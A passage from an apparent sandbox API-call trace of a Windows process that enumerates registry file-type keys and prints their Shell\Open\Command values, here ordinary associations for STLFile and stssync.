(dwErrCode=0x2) [0101.744] RegCloseKey (hKey=0x0) returned 0x6 [0101.744] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xd76, lpName=0x2eef50, cchName=0x104 | out: lpName="SPPUI.SPPUIObjectInteractive.1") returned 0x0 [0101.744] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="SPPUI.SPPUIObjectInteractive.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.744] SetLastError (dwErrCode=0x2) [0101.744] RegCloseKey (hKey=0x0) returned 0x6 [0101.744] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xd77, lpName=0x2eef50, cchName=0x104 | out: lpName="SPPWMI.SppWmiTokenActivationSigner") returned 0x0 [0101.745] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="SPPWMI.SppWmiTokenActivationSigner\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.745] SetLastError (dwErrCode=0x2) [0101.745] RegCloseKey (hKey=0x0) returned 0x6 [0101.745] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xd78, lpName=0x2eef50, cchName=0x104 | out: lpName="SPPWMI.SppWmiTokenActivationSigner.1") returned 0x0 [0101.745] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="SPPWMI.SppWmiTokenActivationSigner.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.745] SetLastError (dwErrCode=0x2) [0101.745] RegCloseKey (hKey=0x0) returned 0x6 [0101.745] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xd79, lpName=0x2eef50, cchName=0x104 | out: lpName="SQLOLEDB") returned 0x0 [0101.745] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="SQLOLEDB\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.745] SetLastError (dwErrCode=0x2) [0101.745] RegCloseKey (hKey=0x0) returned 0x6 [0101.745] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xd7a, lpName=0x2eef50, cchName=0x104 | out: lpName="SQLOLEDB Enumerator") returned 0x0 [0101.745] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="SQLOLEDB Enumerator\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.745] SetLastError (dwErrCode=0x2) [0101.745] RegCloseKey (hKey=0x0) returned 0x6 [0101.745] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xd7b, lpName=0x2eef50, cchName=0x104 | out: lpName="SQLOLEDB Enumerator.1") returned 0x0 [0101.745] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="SQLOLEDB Enumerator.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.745] SetLastError (dwErrCode=0x2) [0101.745] RegCloseKey (hKey=0x0) returned 0x6 [0101.745] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xd7c, lpName=0x2eef50, cchName=0x104 | out: lpName="SQLOLEDB ErrorLookup") returned 0x0 [0101.745] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="SQLOLEDB ErrorLookup\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.746] SetLastError (dwErrCode=0x2) [0101.746] RegCloseKey (hKey=0x0) returned 0x6 [0101.746] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xd7d, lpName=0x2eef50, cchName=0x104 | out: lpName="SQLOLEDB ErrorLookup.1") returned 0x0 [0101.746] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="SQLOLEDB ErrorLookup.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.746] SetLastError (dwErrCode=0x2) [0101.746] RegCloseKey (hKey=0x0) returned 0x6 [0101.746] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xd7e, lpName=0x2eef50, cchName=0x104 | out: lpName="SQLOLEDB.1") returned 0x0 [0101.746] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="SQLOLEDB.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.746] SetLastError (dwErrCode=0x2) [0101.746] RegCloseKey (hKey=0x0) returned 0x6 [0101.746] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xd7f, lpName=0x2eef50, cchName=0x104 | out: lpName="SQLXMLX") returned 0x0 [0101.746] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="SQLXMLX\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.746] SetLastError (dwErrCode=0x2) [0101.746] RegCloseKey (hKey=0x0) returned 0x6 [0101.746] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xd80, lpName=0x2eef50, cchName=0x104 | out: lpName="SQLXMLX.1") returned 0x0 [0101.746] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="SQLXMLX.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.746] SetLastError (dwErrCode=0x2) [0101.746] RegCloseKey (hKey=0x0) returned 0x6 [0101.746] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xd81, lpName=0x2eef50, cchName=0x104 | out: lpName="SrControl.SrControl") returned 0x0 [0101.746] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="SrControl.SrControl\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.746] SetLastError (dwErrCode=0x2) [0101.746] RegCloseKey (hKey=0x0) returned 0x6 [0101.746] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xd82, lpName=0x2eef50, cchName=0x104 | out: lpName="SrControl.SrControl.1") returned 0x0 [0101.747] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="SrControl.SrControl.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.747] SetLastError (dwErrCode=0x2) [0101.747] RegCloseKey (hKey=0x0) returned 0x6 [0101.747] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xd83, lpName=0x2eef50, cchName=0x104 | out: lpName="SrDrvWuHelper.SrDrvWuHelper") returned 0x0 [0101.747] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="SrDrvWuHelper.SrDrvWuHelper\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.747] SetLastError (dwErrCode=0x2) [0101.747] RegCloseKey (hKey=0x0) returned 0x6 [0101.747] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xd84, lpName=0x2eef50, cchName=0x104 | out: lpName="SrDrvWuHelper.SrDrvWuHelper.1") returned 0x0 [0101.747] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="SrDrvWuHelper.SrDrvWuHelper.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.747] SetLastError (dwErrCode=0x2) [0101.747] RegCloseKey (hKey=0x0) returned 0x6 [0101.747] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xd85, lpName=0x2eef50, cchName=0x104 | out: lpName="Stack") returned 0x0 [0101.747] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Stack\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.747] SetLastError (dwErrCode=0x2) [0101.747] RegCloseKey (hKey=0x0) returned 0x6 [0101.747] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xd86, lpName=0x2eef50, cchName=0x104 | out: lpName="Stack.Audio") returned 0x0 [0101.747] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Stack.Audio\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.747] SetLastError (dwErrCode=0x2) [0101.747] RegCloseKey (hKey=0x0) returned 0x6 [0101.747] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xd87, lpName=0x2eef50, cchName=0x104 | out: lpName="Stack.Image") returned 0x0 [0101.747] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Stack.Image\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.747] SetLastError (dwErrCode=0x2) [0101.747] RegCloseKey (hKey=0x0) returned 0x6 [0101.748] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xd88, lpName=0x2eef50, cchName=0x104 | out: lpName="Stack.System.Author") returned 0x0 [0101.748] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Stack.System.Author\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.748] SetLastError (dwErrCode=0x2) [0101.748] RegCloseKey (hKey=0x0) returned 0x6 [0101.748] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xd89, lpName=0x2eef50, cchName=0x104 | out: lpName="Stack.System.ItemTypeText") returned 0x0 [0101.748] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Stack.System.ItemTypeText\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.748] SetLastError (dwErrCode=0x2) [0101.748] RegCloseKey (hKey=0x0) returned 0x6 [0101.748] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xd8a, lpName=0x2eef50, cchName=0x104 | out: lpName="Stack.System.Keywords") returned 0x0 [0101.748] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Stack.System.Keywords\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.748] SetLastError (dwErrCode=0x2) [0101.748] RegCloseKey (hKey=0x0) returned 0x6 [0101.748] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xd8b, lpName=0x2eef50, cchName=0x104 | out: lpName="Stack.System.Music") returned 0x0 [0101.748] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Stack.System.Music\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.748] SetLastError (dwErrCode=0x2) [0101.748] RegCloseKey (hKey=0x0) returned 0x6 [0101.748] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xd8c, lpName=0x2eef50, cchName=0x104 | out: lpName="Stack.System.Music.AlbumID") returned 0x0 [0101.748] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Stack.System.Music.AlbumID\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.748] SetLastError (dwErrCode=0x2) [0101.748] RegCloseKey (hKey=0x0) returned 0x6 [0101.748] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xd8d, lpName=0x2eef50, cchName=0x104 | out: lpName="Stack.System.Music.AlbumTitle") returned 0x0 [0101.748] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Stack.System.Music.AlbumTitle\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.749] SetLastError (dwErrCode=0x2) [0101.749] RegCloseKey (hKey=0x0) returned 0x6 [0101.749] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xd8e, lpName=0x2eef50, cchName=0x104 | out: lpName="Stack.System.Music.Artist") returned 0x0 [0101.749] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Stack.System.Music.Artist\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.749] SetLastError (dwErrCode=0x2) [0101.749] RegCloseKey (hKey=0x0) returned 0x6 [0101.749] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xd8f, lpName=0x2eef50, cchName=0x104 | out: lpName="Stack.System.Music.DisplayArtist") returned 0x0 [0101.749] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Stack.System.Music.DisplayArtist\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.749] SetLastError (dwErrCode=0x2) [0101.749] RegCloseKey (hKey=0x0) returned 0x6 [0101.749] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xd90, lpName=0x2eef50, cchName=0x104 | out: lpName="Stack.System.Music.Genre") returned 0x0 [0101.749] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Stack.System.Music.Genre\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.749] SetLastError (dwErrCode=0x2) [0101.749] RegCloseKey (hKey=0x0) returned 0x6 [0101.749] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xd91, lpName=0x2eef50, cchName=0x104 | out: lpName="Stack.System.Photo") returned 0x0 [0101.749] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Stack.System.Photo\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.749] SetLastError (dwErrCode=0x2) [0101.749] RegCloseKey (hKey=0x0) returned 0x6 [0101.749] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xd92, lpName=0x2eef50, cchName=0x104 | out: lpName="Stack.System.SearchScope") returned 0x0 [0101.749] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Stack.System.SearchScope\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.749] SetLastError (dwErrCode=0x2) [0101.749] RegCloseKey (hKey=0x0) returned 0x6 [0101.749] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xd93, lpName=0x2eef50, cchName=0x104 | out: lpName="Stack.System.WordWheel") returned 0x0 [0101.750] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Stack.System.WordWheel\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.750] SetLastError (dwErrCode=0x2) [0101.750] RegCloseKey (hKey=0x0) returned 0x6 [0101.750] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xd94, lpName=0x2eef50, cchName=0x104 | out: lpName="Stack.Video") returned 0x0 [0101.750] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Stack.Video\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.750] SetLastError (dwErrCode=0x2) [0101.750] RegCloseKey (hKey=0x0) returned 0x6 [0101.750] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xd95, lpName=0x2eef50, cchName=0x104 | out: lpName="statemodel.StateController") returned 0x0 [0101.876] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="statemodel.StateController\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.876] SetLastError (dwErrCode=0x2) [0101.876] RegCloseKey (hKey=0x0) returned 0x6 [0101.876] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xd96, lpName=0x2eef50, cchName=0x104 | out: lpName="statemodel.StateController.1") returned 0x0 [0101.876] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="statemodel.StateController.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.876] SetLastError (dwErrCode=0x2) [0101.876] RegCloseKey (hKey=0x0) returned 0x6 [0101.876] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xd97, lpName=0x2eef50, cchName=0x104 | out: lpName="StaticDib") returned 0x0 [0101.876] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="StaticDib\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.876] SetLastError (dwErrCode=0x2) [0101.876] RegCloseKey (hKey=0x0) returned 0x6 [0101.876] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xd98, lpName=0x2eef50, cchName=0x104 | out: lpName="StaticMetafile") returned 0x0 [0101.876] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="StaticMetafile\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.876] SetLastError (dwErrCode=0x2) [0101.876] RegCloseKey (hKey=0x0) returned 0x6 [0101.876] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xd99, lpName=0x2eef50, cchName=0x104 | out: lpName="STClient.STClient") returned 0x0 [0101.876] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="STClient.STClient\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.876] SetLastError (dwErrCode=0x2) [0101.876] RegCloseKey (hKey=0x0) returned 0x6 [0101.876] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xd9a, lpName=0x2eef50, cchName=0x104 | out: lpName="STClient.STClient.1") returned 0x0 [0101.876] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="STClient.STClient.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.877] SetLastError (dwErrCode=0x2) [0101.877] RegCloseKey (hKey=0x0) returned 0x6 [0101.877] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xd9b, lpName=0x2eef50, cchName=0x104 | out: lpName="StdFont") returned 0x0 [0101.877] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="StdFont\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.877] SetLastError (dwErrCode=0x2) [0101.877] RegCloseKey (hKey=0x0) returned 0x6 [0101.877] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xd9c, lpName=0x2eef50, cchName=0x104 | out: lpName="StdPicture") returned 0x0 [0101.877] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="StdPicture\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.877] SetLastError (dwErrCode=0x2) [0101.877] RegCloseKey (hKey=0x0) returned 0x6 [0101.877] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xd9d, lpName=0x2eef50, cchName=0x104 | out: lpName="StickyNotes") returned 0x0 [0101.877] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="StickyNotes\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.877] SetLastError (dwErrCode=0x2) [0101.877] RegCloseKey (hKey=0x0) returned 0x6 [0101.877] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xd9e, lpName=0x2eef50, cchName=0x104 | out: lpName="STLFile") returned 0x0 [0101.877] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="STLFile\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x64) returned 0x0 [0101.877] RegQueryValueExW (in: hKey=0x64, lpValueName=0x0, lpReserved=0x0, lpType=0x2eef28, lpData=0x0, lpcbData=0x2eef20*=0x0 | out: lpType=0x2eef28*=0x2, lpData=0x0, lpcbData=0x2eef20*=0x86) returned 0x0 [0101.877] RegQueryValueExW (in: hKey=0x64, lpValueName=0x0, lpReserved=0x0, lpType=0x2eef28, lpData=0x3c5e10, lpcbData=0x2eef20*=0x86 | out: lpType=0x2eef28*=0x2, lpData="%SystemRoot%\\system32\\rundll32.exe cryptext.dll,CryptExtOpenCTL %1", lpcbData=0x2eef20*=0x86) returned 0x0 [0101.877] RegCloseKey (hKey=0x64) returned 0x0 [0101.878] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="STLFile=%SystemRoot%\\system32\\rundll32.exe cryptext.dll,CryptExtOpenCTL %1\r\n") returned 76 [0101.878] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.878] GetFileType (hFile=0x5c) returned 0x3 [0101.878] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.878] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="STLFile=%SystemRoot%\\system32\\rundll32.exe cryptext.dll,CryptExtOpenCTL %1\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="STLFile=%SystemRoot%\\system32\\rundll32.exe cryptext.dll,CryptExtOpenCTL %1\r\n", lpUsedDefaultChar=0x0) returned 77 [0101.878] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x4c, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x4c, lpOverlapped=0x0) returned 1 [0101.878] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xd9f, lpName=0x2eef50, cchName=0x104 | out: lpName="STSInproc.SpeechTextService") returned 0x0 [0101.878] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="STSInproc.SpeechTextService\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.878] SetLastError (dwErrCode=0x2) [0101.878] RegCloseKey (hKey=0x0) returned 0x6 [0101.878] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xda0, lpName=0x2eef50, cchName=0x104 | out: lpName="STSInproc.SpeechTextService.1") returned 0x0 [0101.878] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="STSInproc.SpeechTextService.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.878] SetLastError (dwErrCode=0x2) [0101.878] RegCloseKey (hKey=0x0) returned 0x6 [0101.878] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xda1, lpName=0x2eef50, cchName=0x104 | out: lpName="STSServer.DictationHost") returned 0x0 [0101.878] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="STSServer.DictationHost\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.879] SetLastError (dwErrCode=0x2) [0101.879] RegCloseKey (hKey=0x0) returned 0x6 [0101.879] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xda2, lpName=0x2eef50, cchName=0x104 | out: lpName="STSServer.DictationHost.1") returned 0x0 [0101.879] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="STSServer.DictationHost.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.879] SetLastError (dwErrCode=0x2) [0101.879] RegCloseKey (hKey=0x0) returned 0x6 [0101.879] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xda3, lpName=0x2eef50, cchName=0x104 | out: lpName="STSServer.EnumSTSALTINFO") returned 0x0 [0101.879] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="STSServer.EnumSTSALTINFO\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.879] SetLastError (dwErrCode=0x2) [0101.879] RegCloseKey (hKey=0x0) returned 0x6 [0101.879] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xda4, lpName=0x2eef50, cchName=0x104 | out: lpName="STSServer.EnumSTSALTINFO.1") returned 0x0 [0101.879] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="STSServer.EnumSTSALTINFO.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.879] SetLastError (dwErrCode=0x2) [0101.879] RegCloseKey (hKey=0x0) returned 0x6 [0101.879] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xda5, lpName=0x2eef50, cchName=0x104 | out: lpName="STSServer.EnumSTSWORDEDIT") returned 0x0 [0101.879] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="STSServer.EnumSTSWORDEDIT\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.879] SetLastError (dwErrCode=0x2) [0101.879] RegCloseKey (hKey=0x0) returned 0x6 [0101.879] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xda6, lpName=0x2eef50, cchName=0x104 | out: lpName="STSServer.EnumSTSWORDEDIT.1") returned 0x0 [0101.879] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="STSServer.EnumSTSWORDEDIT.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.879] SetLastError (dwErrCode=0x2) [0101.879] RegCloseKey (hKey=0x0) returned 0x6 [0101.879] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xda7, lpName=0x2eef50, cchName=0x104 | out: lpName="STSServer.STSServerInstance") returned 0x0 [0101.880] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="STSServer.STSServerInstance\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.880] SetLastError (dwErrCode=0x2) [0101.880] RegCloseKey (hKey=0x0) returned 0x6 [0101.880] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xda8, lpName=0x2eef50, cchName=0x104 | out: lpName="STSServer.STSServerInstance.1") returned 0x0 [0101.880] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="STSServer.STSServerInstance.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.880] SetLastError (dwErrCode=0x2) [0101.880] RegCloseKey (hKey=0x0) returned 0x6 [0101.880] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xda9, lpName=0x2eef50, cchName=0x104 | out: lpName="stssync") returned 0x0 [0101.880] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="stssync\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x64) returned 0x0 [0101.880] RegQueryValueExW (in: hKey=0x64, lpValueName=0x0, lpReserved=0x0, lpType=0x2eef28, lpData=0x0, lpcbData=0x2eef20*=0x0 | out: lpType=0x2eef28*=0x1, lpData=0x0, lpcbData=0x2eef20*=0x94) returned 0x0 [0101.880] RegQueryValueExW (in: hKey=0x64, lpValueName=0x0, lpReserved=0x0, lpType=0x2eef28, lpData=0x3c5e10, lpcbData=0x2eef20*=0x94 | out: lpType=0x2eef28*=0x1, lpData="\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\OUTLOOK.EXE\" /share \"%1\"", lpcbData=0x2eef20*=0x94) returned 0x0 [0101.880] RegCloseKey (hKey=0x64) returned 0x0 [0101.880] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="stssync=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\OUTLOOK.EXE\" /share \"%1\"\r\n") returned 83 [0101.880] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.880] GetFileType (hFile=0x5c) returned 0x3 [0101.880] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.880] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="stssync=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\OUTLOOK.EXE\" /share \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, 